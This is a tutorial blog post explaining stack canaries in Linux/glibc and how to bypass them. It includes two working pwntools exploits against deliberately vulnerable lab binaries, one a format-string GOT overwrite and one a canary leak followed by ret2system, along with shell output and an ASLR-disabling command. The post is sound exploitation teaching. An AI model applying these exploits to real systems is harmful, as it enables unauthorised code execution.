Preface

Hey there!

After quite some time the second part will be finally published !

Sorry for the delay, real life can be overwhelming ;)…

Last time I have introduced this series by covering Data Execution Prevention (DEP).

Today we’re dealing with the next big technique.

As the title already suggests it will be about stack canaries.

The format will be similar to last time.

First we will dealing with a basic introduction to the approach, directly followed by a basic exploitation part.

REMARK: The following is the result of a self study and might contain faulty information. If you find any let me know. Thanks!

Requirements

Some spare minutes

A basic understanding of what causes memory corruptions

The will to ask or look up unknown terms yourself

Some ASM/C knowledge

Basic format string bugs

How linking processes/libraries works (GOT)

Stack Canaries / Stack Cookies (SC)

Basic Design

To prevent corrupted buffers during program runtime another technique besides data execution prevention called stack canaries was proposed and finally implemented as a counter measure against the emerging threat of buffer corruption exploits.

It was adapted early!

Patching a single buffer vulnerability in an application is harmless, but even within one program the causes of a simple patched buffer size might cause harm to other areas.

On top of that the amount of programs running with legacy code and system rights over their needs is considerable large.

Overall this patch driven nature of software development in combination with the usage of type unsafe languages like C/C++ makes such buffer problems still reappear too frequently.

Instead of trying to fix the problem at source level, which patching tries to, canaries try to fix the problem at hand: the stack structure.

The basic methodology is to place a filler word, the canary, between local variables or buffer contents in general and the return address.

This is done for every* (*if the right compiler flag is chosen) function called, not just once for some oblivious main function.

So an overwriting of multiple canary values is often required during an exploit.

A basic scheme is shown

Process Address Process Address Space Space +---------------------+ +---------------------+ | | | | 0xFFFF | Top of stack | 0xFFFF | Top of stack | + | | + | | | +---------------------+ | +---------------------+ | | malicious code <-----+ | | malicious code | | +---------------------+ | | +---------------------+ | | | | | | | | | | | | | | | | | | | | | | +---------------------| | | +---------------------| | | return address | | | | return address | | +---------------------+ | | +---------------------| stack | | saved EBP +-----+ stack | | saved EBP | growth | +---------------------+ growth | +---------------------+ | | local variables | | | stack canary | | +---------------------+ | +---------------------+ | | | | | local variables | | | buffer | | +---------------------+ | | | | | | | | | | | buffer | | +---------------------+ | | | | | | | | | | | | | +---------------------+ | | | | | | v | | v | | 0x0000 | | 0x0000 | | +---------------------+ +---------------------+

Note: This is only a basic overview. detailed low-level views can slightly differ

Remark: Retake on base pointers in case you forgot!

The canary can consist of different metrics.

Random or terminator values are the commonly used ones in the end.

When reaching (close to) a return instruction during code execution the integrity of the canary is checked first to evaluate if it was changed.

If no alteration is found, execution resumes normally.

If a tampered with canary value is detected program execution is terminated immediately, since it indicates a malicious intent.

A user controlled input is often the cause for this .

The most simple case for this scenario is a basic stack smashing attack, where the amount of bytes written to a buffer exceeds the buffer size.

Pairing that with a system call that does not do any bounds checking results in overwriting the canary value.

The first implementation of stack canaries on Linux based systems appeared in 1997 with the publication of StackGuard, which came as a set of patches for the GNU Compiler Collection (GCC).

Terminator Canaries

Let’s just take this sample code snipped for clarification:

int main(int argv, char **argc) { int var1; char buf[80]; int var2; strcpy(buf,argc[1]); print(buf); exit(0); }

As the name terminator suggests once it is reached during an attempted overwrite it should stop the overwriting.

An example value for this is 0x000aff0d .

The 0x00 will stop strcpy() and we won’t be able to alter the return address.

If gets() were used instead of strcpy() to read into a buffer, we would be able to write 0x00 , but 0x0a would stop it.

That is how these terminator values work on a basic level.

In general we can say that a terminator canary contains NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff).

Such a combination of these four 2-byte characters should terminate most string operations, rendering the overflow attempt harmless.

Random Canaries

Random canaries on the other hand do not try to stop string operations.

They want to make it exceedingly difficult for attackers to find the right value so a process is terminated once tampering is detected.

The random value is taken from /dev/urandom if available, and created by hashing the time of day if /dev/urandom is not supported.

This randomness is sufficient to prevent most prediction attempts.

Closer look at canary implementations

Let’s take a quick peek at the current canary implementation of the most recent glibc 2.26 libc-start.c:

/* Set up the stack checker's canary. */ uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); [...] __stack_chk_guard = stack_chk_guard;

The _dl_setup_stack_chk_guard function is looking like this:

static inline uintptr_t __attribute__ ((always_inline)) _dl_setup_stack_chk_guard (void *dl_random) { union { uintptr_t num; unsigned char bytes[sizeof (uintptr_t)]; } ret = { 0 }; # __stack_chk_guard becomes a terminator canary if (dl_random == NULL) { ret.bytes[sizeof (ret) - 1] = 255; ret.bytes[sizeof (ret) - 2] = '

'; } # __stack_chk_guard will be a random canary else { memcpy (ret.bytes, dl_random, sizeof (ret)); #if BYTE_ORDER == LITTLE_ENDIAN ret.num &= ~(uintptr_t) 0xff; #elif BYTE_ORDER == BIG_ENDIAN ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1))); #else # error "BYTE_ORDER unknown" #endif } return ret.num; }

What’s interesting here is that we can see the basic design choices mentioned earlier!

_dl_setup_stack_chk_guard() allows to create all the canary types.

If dl_random is null, __stack_chk_guard will be a terminator canary, otherwise random canary.

Limitations

This technique is exposed to several weaknesses.

One is namely static canary values that are easily found out using brute force or by simply repeatedly guessing…

Using random or terminator values instead migrated this flaw early on.

This hardens the security implications, but an adversary may still circumvent this technique.

When finding a way to extract the canary value from the memory space of an application during runtime it is possible to bypass canary protected applications.

Alternatively if a terminator canary like 0x000aff0d is used we cannot write past it with common string operations, but it is possible to write to memory up until to the canary.

This effectively allows to gain full control of the frame pointer.

If this is possible, as well as having the possibility to write to a memory region like the stack or heap, we can bend the frame pointer to point to terminator_canary+shellcode_address in memory.

This allows us to return to injected shell code.

Another bypass is possible through a technique called structured exception handler exploitation (SEH exploit).

It makes use of the fact that stack canaries modify function pro- and epilogue for canary verification purposes.

If a buffer on stack or heap is overwritten during runtime, and the fault is noticed before the execution of the copy/write function returns, an exception is raised.

The exception is passed to a local exception handler that again passes it to the correct system specific exception handler to handle the fault.

Changing said exception handler to point to user controlled input like shell code makes it return to that.

This bypasses any canary check and execution of any provided malicious input is accomplished.

Note: Structured exception handlers are Windows specific!

Note2: These limitations do not represent all possibilities for how to bypass canaries!

PoC 1

Abusing a stack canary disabled binary

I won’t cover this over here again.

It already was demonstrated how to do that with a basic stack smashing attack in my last article.

Abusing enabled stack canaries

Note: ASLR is still disabled for now: echo 0 > /proc/sys/kernel/randomize_va_space

The vulnerable program

Let’s consider this small program:

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); printf("Welcome 0x00sec to Stack Canaries

"); strdup(buffer); return 0; } int main(int argc, char **argv) { vuln(); }

For our PoC we don’t need much, hence the program is quite small.

All it does is it takes some input via fgets() and prints it with printf() .

For some dubious reason strdup() is present here too

Note: The strdup(s) function returns a pointer to a new string which is a duplicate of the string s.

Let’s compile it with gcc -fstack-protector-all -m32 -o vuln vuln.c .

And check if I didn’t lie about the enabled exploit mitigations:

gef➤ checksec [+] checksec for '/0x00sec/Canary/binary/vuln' Canary : Yes → value: 0xd41a2e00 NX : Yes PIE : No Fortify : No RelRO : Partial gef➤

Data execution prevention (NX) as well as canaries are fully enabled.

For the sake of usability gef and other gdb enhancements can already display the current canary value.

Alternatively if stack canaries are present we always have the __stack_chk_fail symbol, which we can search for:

$ readelf -s ./vuln | grep __stack_chk_fail 5: 00000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.4 (3) 58: 00000000 0 FUNC GLOBAL DEFAULT UND [email protected]@GLIBC_2

Brief look at the assembly

gef➤ disassemble main Dump of assembler code for function main: 0x080485ef <+0>: lea ecx,[esp+0x4] 0x080485f3 <+4>: and esp,0xfffffff0 0x080485f6 <+7>: push DWORD PTR [ecx-0x4] 0x080485f9 <+10>: push ebp 0x080485fa <+11>: mov ebp,esp 0x080485fc <+13>: push ecx 0x080485fd <+14>: sub esp,0x24 0x08048600 <+17>: mov eax,ecx 0x08048602 <+19>: mov edx,DWORD PTR [eax] 0x08048604 <+21>: mov DWORD PTR [ebp-0x1c],edx 0x08048607 <+24>: mov eax,DWORD PTR [eax+0x4] 0x0804860a <+27>: mov DWORD PTR [ebp-0x20],eax 0x0804860d <+30>: mov eax,gs:0x14 ; canary right here 0x08048613 <+36>: mov DWORD PTR [ebp-0xc],eax 0x08048616 <+39>: xor eax,eax ; at this point we can inspect the canary in gdb as well 0x08048618 <+41>: call 0x8048576 <vuln> ; vuln() function call 0x0804861d <+46>: mov eax,0x0 0x08048622 <+51>: mov ecx,DWORD PTR [ebp-0xc] 0x08048625 <+54>: xor ecx,DWORD PTR gs:0x14 ; canary check routine is started 0x0804862c <+61>: je 0x8048633 <main+68> 0x0804862e <+63>: call 0x8048410 <[email protected]> ; canary fault handler if check fails 0x08048633 <+68>: add esp,0x24 0x08048636 <+71>: pop ecx 0x08048637 <+72>: pop ebp 0x08048638 <+73>: lea esp,[ecx-0x4] 0x0804863b <+76>: ret End of assembler dump. gef➤ disassemble vuln Dump of assembler code for function vuln: 0x08048576 <+0>: push ebp 0x08048577 <+1>: mov ebp,esp 0x08048579 <+3>: sub esp,0x218 0x0804857f <+9>: mov eax,gs:0x14 ; canary right here 0x08048585 <+15>: mov DWORD PTR [ebp-0xc],eax 0x08048588 <+18>: xor eax,eax 0x0804858a <+20>: mov eax,ds:0x804a040 0x0804858f <+25>: sub esp,0x4 0x08048592 <+28>: push eax 0x08048593 <+29>: push 0x200 0x08048598 <+34>: lea eax,[ebp-0x20c] 0x0804859e <+40>: push eax 0x0804859f <+41>: call 0x8048400 <[email protected]> ; fgets routine to fetch user input 0x080485a4 <+46>: add esp,0x10 0x080485a7 <+49>: sub esp,0xc 0x080485aa <+52>: lea eax,[ebp-0x20c] 0x080485b0 <+58>: push eax ; user input is pushed as argument for printf 0x080485b1 <+59>: call 0x80483d0 <[email protected]> ; printf routine call 0x080485b6 <+64>: add esp,0x10 0x080485b9 <+67>: sub esp,0xc 0x080485bc <+70>: push 0x80486e4 ; string is pushed as argument for puts 0x080485c1 <+75>: call 0x8048420 <[email protected]> ; puts routine call 0x080485c6 <+80>: add esp,0x10 0x080485c9 <+83>: sub esp,0xc 0x080485cc <+86>: lea eax,[ebp-0x20c] 0x080485d2 <+92>: push eax ; buffer contents pushed as argument to strdup 0x080485d3 <+93>: call 0x80483f0 <[email protected]> ; strdup routine call 0x080485d8 <+98>: add esp,0x10 0x080485db <+101>: nop 0x080485dc <+102>: mov eax,DWORD PTR [ebp-0xc] 0x080485df <+105>: xor eax,DWORD PTR gs:0x14 ; canary check routine is started 0x080485e6 <+112>: je 0x80485ed <vuln+119> 0x080485e8 <+114>: call 0x8048410 <[email protected]> ; canary fault handler if check fails 0x080485ed <+119>: leave 0x080485ee <+120>: ret End of assembler dump. gef➤

So nothing out of the ordinary so far.

I did not strip the binary and everything we would expect is at the correct place.

Additionally the canary initializations and checks are nicely observable!

Furthermore it is shown that the canary check is done in every called function, not just in the main() function of the program.

Recap Format String attacks

The following exploit makes use of a format string bug.

Hence I will quickly recap the basics here.

Mostly used in conjunction with printf() .

If we have control over what printf() is gonna print, let’s say the contents of a user controlled buf[64] then we can use the following format parameters as input to manipulate the output!

Parameters* Meaning Passed as -------------------------------------------------------------------------- %d decimal (int) value %u unsigned decimal (unsigned int) value %x hexadecimal (unsigned int) value %s string ((const) (unsigned) char*) reference %n number of bytes written so far, (*int) reference *Note: Only most relevant format paramters displayed

If we pass n %08x. to printf() it instructs the function to retrieve n parameters from the stack and display them as 8-digit padded hexadecimal numbers.

This can be used to view memory at any location if done right, or even write a wanted amount of bytes (with %n ) to a certain address in memory!

If you feel you need to brush up on it by a lot take a look at this format string writeup from picoCTF.

Canary bypass

We will take a closer look at overwriting the Global Offset Table (GOT)!

This is possible because we don’t have a fully enabled RelRO:

Partial RELRO:

* the ELF sections are reordered so that the ELF internal data sections (.got, .dtors, etc.) precede the program's data sections (.data and .bss) * non-PLT GOT is read-only * GOT is still writeable

Full RELRO:

* supports all the features of partial RELRO * the entire GOT is also (re)mapped as read-only

If you’re struggling with the whole Global Offset Table mess I strongly recommend reading these articles by @_py:

If you’re still continuing reading without prior knowledge here is the basic approach I’m gonna take:

1. Find a way to get a shell 2. Calculate the bytes to write for a format string attack 3. Overwrite the GOT entry for strdup() with a function we can actually use for an exploit: system()

First we want to examine where our local libc is located.

We can do this from within gdb as well:

gef➤ vmmap libc Start End Offset Perm Path 0xf7dfd000 0xf7fad000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so <- 0xf7fad000 0xf7faf000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so 0xf7faf000 0xf7fb0000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so gef➤

The base address of the used libc is at 0xf7dfd000 .

Next we want to find a way to pop a shell.

What could be better than system() :

$ readelf -s /lib/i386-linux-gnu/libc-2.23.so | grep system 245: 00112ed0 68 FUNC GLOBAL DEFAULT 13 [email protected]@GLIBC_2.0 627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 [email protected]@GLIBC_PRIVATE 1457: 0003ada0 55 FUNC WEAK DEFAULT 13 [email protected]@GLIBC_2.0 <-

system() offset in glibc is 0x3ada0 .

Let’s add up those to addresses to get the final address of system() in the library.

0xf7dfd000 + 0x3ada0 = 0xf7e37da0

Let’s check if we didn’t fail our maths:

gef➤ x 0xf7e37da0 0xf7e37da0 <__libc_system>: 0x8b0cec83 gef➤

Looks good! Sweet!

Note: Reminder on how system() works.

Next on our list is to find the address of strdup() in the GOT to be able to overwrite it!

Let’s take a look at the assembly snippet from the vuln() function for a second:

... 0x080485c9 <+83>: sub esp,0xc 0x080485cc <+86>: lea eax,[ebp-0x20c] 0x080485d2 <+92>: push eax => 0x080485d3 <+93>: call 0x80483f0 <[email protected]> 0x080485d8 <+98>: add esp,0x10 0x080485db <+101>: nop ... gef➤ disassemble 0x80483f0 Dump of assembler code for function [email protected]: 0x080483f0 <+0>: jmp DWORD PTR ds:0x804a014 0x080483f6 <+6>: push 0x10 0x080483fb <+11>: jmp 0x80483c0 End of assembler dump. gef➤

0x804a014 is the address we want to overwrite!

Exploit

Following now is a quick script I put together to get a shell without disrupting any normal control flow of the program.

The bytes to overwrite strdup() to get system() where manually calculated by trial and error.

First you want to check where on the stack your buffer arguments reside by doing something like this:

... exploit = "" exploit += "AAAABBBBCCCC" exploit += "%x "*10 ...

Ideally you can quickly find the 41414141 42424242 43434343 in the output besides other addresses.

If you do you can see at which position your fed input is dumped.

For example it could look like this:

AAAABBBBCCCC200 f7faf5a0 f7ffd53c ffffcc48 f7fd95c5 0 41414141 42424242 43434343 25207825 78252078 20782520 25207825 78252078 20782520

That would mean our input is on the 7th position of the stack.

We can replace AAAABBBBCCCC now with something more meaningful like an entry from the GOT we want ot overwrite.

Basically what we want to do next is write a certain amount of bytes and with that change the address of strdup() .

I do this 4 times to overwrite the 4 2byte positions of strdup() within the GOT.

#!/usr/bin/env python import argparse from pwn import * from pwnlib import * context.arch ='i386' context.os ='linux' context.endian = 'little' context.word_size = '32' context.log_level = 'DEBUG' binary = ELF('./binary/vuln') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') def pad(s): return s+"X"*(512-len(s)) def main(): parser = argparse.ArgumentParser(description='pwnage') parser.add_argument('--dbg', '-d', action='store_true') args = parser.parse_args() exe = './binary/vuln' strdup_plt = 0x804a014 system_libc = 0xf7e37da0 exploit = "sh;# " exploit += p32(strdup_plt) exploit += p32(strdup_plt+1) exploit += p32(strdup_plt+2) exploit += p32(strdup_plt+3) exploit += "%9$136x" exploit += "%9$n" exploit += "%221x" exploit += "%10$n" exploit += "%102x" exploit += "%11$n" exploit += "%532x" exploit += "%12$n" padding = pad(exploit) if args.dbg: r = gdb.debug([exe], gdbscript=""" b *vuln+92 b *vuln+98 continue """) else: r = process([exe]) r.send(padding) r.interactive() if __name__ == '__main__': main() sys.exit(0)

###Proof

$ python bypass_canary.py [*] '/home/lab/Git/RE_binaries/0x00sec_WIP/Canary/binary/vuln2' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/lib/i386-linux-gnu/libc-2.23.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './binary/vuln2': pid 20723 [*] Switching to interactive mode sh;# \x14\xa0\x0\x15\xa0\x0\x16\xa0\x0\x17\xa0\x0 804a014 0 f7ffd000 f7ffd53cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXwhoamiWelcome 0x00sec to Stack Canaries $ whoami lab

Ok this worked but it did not necessarily defeat stack canaries!

I just opened another can of delicious attack surfaces and with that I was able to bypass the canaries completely.

Since that just doesn’t feel quite right I will give another PoC for defeating the mechanism in a more appropriate manner.

PoC 2

Defeating stack canaries 4 realz now

Okay this time around a more ‘standard’ way of defeating stack canaries is shown

Vulnerable program

#include <stdio.h> #include <string.h> #include <stdlib.h> #define STDIN 0 void untouched(){ char answer[32]; printf("

Canaries are fun aren't they?

"); exit(0); } void minorLeak(){ char buf[512]; scanf("%s", buf); printf(buf); } void totallySafeFunc(){ char buf[1024]; read(STDIN, buf, 2048); } int main(int argc, char* argv[]){ setbuf(stdout, NULL); printf("echo> "); minorLeak(); printf("

"); printf("read> "); totallySafeFunc(); printf("> I reached the end!"); return 0; }

This just reads some user input and prints some stuff back out.

As the function names suggest the easiest way to beat canaries is through an information leak.

We can accomplish this by using the minorLeak() function.

Similar as before we will abuse a format string.

Afterwards we leverage a buffer overflow opportunity in the totallySafeFunc() to redirect control flow to our likings.

Note: Obviously this binary is heavily vulnerable!

The focus for the exploit will be on minorLeak() and totallySafeFunc() .

Let’s check out the asm for any possible anomalies:

gef➤ disassemble minorLeak Dump of assembler code for function minorLeak: 0x080485f6 <+0>: push ebp 0x080485f7 <+1>: mov ebp,esp 0x080485f9 <+3>: sub esp,0x218 ; 536 bytes on the stack are reserved 0x080485ff <+9>: mov eax,gs:0x14 ; stack canary 0x08048605 <+15>: mov DWORD PTR [ebp-0xc],eax 0x08048608 <+18>: xor eax,eax 0x0804860a <+20>: sub esp,0x8 0x0804860d <+23>: lea eax,[ebp-0x20c] 0x08048613 <+29>: push eax 0x08048614 <+30>: push 0x804879f 0x08048619 <+35>: call 0x80484b0 <[email protected]> ; user input is copied into buf 0x0804861e <+40>: add esp,0x10 0x08048621 <+43>: sub esp,0xc 0x08048624 <+46>: lea eax,[ebp-0x20c] 0x0804862a <+52>: push eax 0x0804862b <+53>: call 0x8048450 <[email protected]> ; the contents of buf are printed out 0x08048630 <+58>: add esp,0x10 0x08048633 <+61>: nop 0x08048634 <+62>: mov eax,DWORD PTR [ebp-0xc] ; stack canary verifucation routine started 0x08048637 <+65>: xor eax,DWORD PTR gs:0x14 0x0804863e <+72>: je 0x8048645 <minorLeak+79> 0x08048640 <+74>: call 0x8048460 <[email protected]> 0x08048645 <+79>: leave 0x08048646 <+80>: ret ; return to main() End of assembler dump. gef➤

gef➤ disassemble totallySafeFunc Dump of assembler code for function totallySafeFunc: 0x08048647 <+0>: push ebp 0x08048648 <+1>: mov ebp,esp 0x0804864a <+3>: sub esp,0x418 ; 1048 bytes are reserved on the stack 0x08048650 <+9>: mov eax,gs:0x14 ; stack canary 0x08048656 <+15>: mov DWORD PTR [ebp-0xc],eax 0x08048659 <+18>: xor eax,eax 0x0804865b <+20>: sub esp,0x4 0x0804865e <+23>: push 0x800 0x08048663 <+28>: lea eax,[ebp-0x40c] 0x08048669 <+34>: push eax 0x0804866a <+35>: push 0x0 0x0804866c <+37>: call 0x8048440 <[email protected]> ; user input is requestet 0x08048671 <+42>: add esp,0x10 0x08048674 <+45>: nop 0x08048675 <+46>: mov eax,DWORD PTR [ebp-0xc] ; stack canary verification routine 0x08048678 <+49>: xor eax,DWORD PTR gs:0x14 0x0804867f <+56>: je 0x8048686 <totallySafeFunc+63> 0x08048681 <+58>: call 0x8048460 <[email protected]> 0x08048686 <+63>: leave 0x08048687 <+64>: ret ; return to main() End of assembler dump. gef➤

So far we can spot nothing out of the ordinary except the obvious vulnerabilities and the presence of stack canaries.

That said, let’s directly jump into the exploit development!

Exploit

#!/usr/bin/env python2 import argparse from pwn import * from pwnlib import * context.arch ='i386' context.os ='linux' context.endian = 'little' context.word_size = '32' context.log_level = 'DEBUG' binary = ELF('./binary/realvuln4') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') def leak_addresses(): leaker = '%llx.' * 68 return leaker def prepend_0x_to_hex_value(hex_value): full_hex_value = '0x' + hex_value return full_hex_value def extract_lower_8_bits(double_long_chunk): return double_long_chunk[len(double_long_chunk) / 2:] def cast_hex_to_int(hex_value): return int(hex_value, 16) def get_canary_value(address_dump): get_canary_chunk = address_dump.split('.')[-2] get_canary_part = extract_lower_8_bits(get_canary_chunk) canary_with_pre_fix = prepend_0x_to_hex_value(get_canary_part) print("[+] Canary value is {}".format(canary_with_pre_fix)) canary_to_int = cast_hex_to_int(canary_with_pre_fix) return canary_to_int def get_libc_base_from_leak(address_dump): get_address_chunk = address_dump.split('.')[1] get_malloc_chunk_of_it = extract_lower_8_bits(get_address_chunk) malloc_with_prefix = prepend_0x_to_hex_value(get_malloc_chunk_of_it) print("[+] malloc+26 is @ {}".format(malloc_with_prefix)) libc_base = cast_hex_to_int(malloc_with_prefix)-0x1f6faa # offset manually calculated by leak-libcbase print("[+] This puts libc base address @ {}".format(hex(libc_base))) return libc_base def payload(leaked_adrs): canary = get_canary_value(leaked_adrs) libc_base = get_libc_base_from_leak(leaked_adrs) bin_sh = int(libc.search("/bin/sh").next()) print("[+] /bin/sh located @ offset {}".format(hex(bin_sh))) shell_addr = libc_base + bin_sh print("[+] Shell address is {}".format(hex(shell_addr))) print("[+] [email protected] has offset: {}".format(hex(libc.symbols['system']))) system_call = libc_base + libc.symbols['system'] print("[+] This puts the system call to {}".format(hex(system_call))) payload = '' payload += cyclic(1024) payload += p32(canary) payload += 'AAAA' payload += 'BBBBCCCC' #payload += p32(0x080485cb) # jump to untouched to show code redirection #payload += p32(start_of_stack) # jump to stack start if no DEP this allows easy shell popping payload += p32(system_call) payload += 'AAAA' payload += p32(shell_addr) return payload def main(): parser = argparse.ArgumentParser(description='pwnage') parser.add_argument('--dbg', '-d', action='store_true') args = parser.parse_args() exe = './binary/realvuln4' if args.dbg: r = gdb.debug([exe], gdbscript=""" b *totallySafeFunc+42 continue """) else: r = process([exe]) r.recvuntil("echo> ") r.sendline(leak_addresses()) leaked_adrs = r.recvline() print(leaked_adrs) exploit = payload(leaked_adrs) r.recvuntil("read> ") r.sendline(exploit) r.interactive() if __name__ == '__main__': main() sys.exit(0)

This exploit is not the prettiest of all exploit scripts, but it does the job .

This quick script will exactly do what I shortly explained before.

Here is another breakdown:

First we leak a bunch of addresses with the %llx. format string (long long-sized integer) Analyze the leaked addresses,

2b. It turns out our stack canary is at the 68th leaked address

2c. Furthermore the middle of the stack is within the lower 8 bits of the first leaked ll integer! Extract these values from the leak Craft payload:

4b. Fill buffer with junk

4c. Insert leaked canary

4d. code redirection to [email protected]

4e. fake Base Pointer

4f. address of /bin/sh appended lastly

Proof

$ python2 defeat_canary.py [*] '/home/lab/Git/RE_binaries/0x00sec_WIP/Canary/binary/realvuln4' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/lib/i386-linux-gnu/libc-2.23.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './binary/realvuln4': pid 20991 ffffffffffffcb9c.f7df9008f7feffaa.f7e062e5f7fe1f60.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.f7fa5d002e786c6c.f7ffdad000000000.ffffcdc0ffffcd78.f7e5e3e9f7fe2b4b.f7fe2a70f7fa5000.108048200.804a014f7ffd918.f7ffdad0f7fe78a2.1f7fd34a0.1.f7fa5d60f7e532d8.0.f7ffd00000000000.ffffcd70080482a0.0.f7e350cbf7df9798.f7fa500000000000.ffffcdb8f7fa5000.f7fa5d60f7e3c696.ffffcda4080487a2.f7fa5d60f7e3c670.f7e3c675f7ffd918.80487a214b94100. [+] Canary value is 0x14b94100 [+] Mid of Stack is @ 0xffffcb9c [+] Beginning of Stack is -512 from that: 0xffffc99c [+] malloc+26 is @ 0xf7feffaa [+] This puts libc base address @ 0xf7df9000 [+] /bin/sh located @ offset 0x15ba0b [+] Shell address is 0xf7f54a0b [+] [email protected] has offset: 0x3ada0 [+] This puts the system call to 0xf7e33da0 [*] Switching to interactive mode $ whoami lab $

We can see in the output that control flow got redirected and popped us a shell!

So what do we do with this information now?

If we assume we have a possible information leak and can get the canary value at all times, bypassing them is not a problem.

Redirection/Changing the control flow of a program is the next big step.

Just pulling it back to the Stack will not work if DEP is enabled.

Overwriting the GOT is only easily possible if RELRO is only partially enabled, and leaking the canary might not even be needed in this use case,

Otherwise good ol’ ret2system still works wonders

Conclusion

The covered approach was first implemented over 20 years ago.

For such an early adaption the security aspect was quite high.

But which implications for canaries must be fulfilled if they want to be viable?

We kinda showed that by focusing on their weaknesses!

To be secure, a canary must ensure at least the following properties:

* be not predictable (must be generated from a source with good entropy) => depends on the used random generator! * must be located in a non-accessible location => we were able to access it! * cannot be brute-forced => goes hand in hand with the argument before and was not true! * should always contain at least one termination character => currently depends on the used canary, so not always the case!

Clever instrumentation of other program components made it possible to still find a way to build a bypass or even avoid them completely even when present in every function within a program.

The two presented PoCs hopefully showed the above in a digestible way.

As always in my series I’m looking forward to any feedback.

But more importantly I hope the stack canary overview cleared any misconceptions was helpful in any way.

Next on the plate will be address space layout randomization!

-ricksanchez

Further References

Linux gcc stack protector flags

Playing with canaries for an in depth look at canary implementations

Stack smashing article on ExploitDB

Bypassing stack cookies on corelan

Bypassing exploit mitigations on SO

SEH exploit PoC for Windows example

An excellent Phrack Issue 56 on stack canaries

An excellent Phrack Issue 55 on overwriting a frame pointer

StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks

Protecting Systems from Stack Smashing Attacks with StackGuard

babypwn with leaking stack canaries

4 ways to bypass stack canaries (no real PoCs tho)

Blackhat '09 talk about overall exploit mitigation security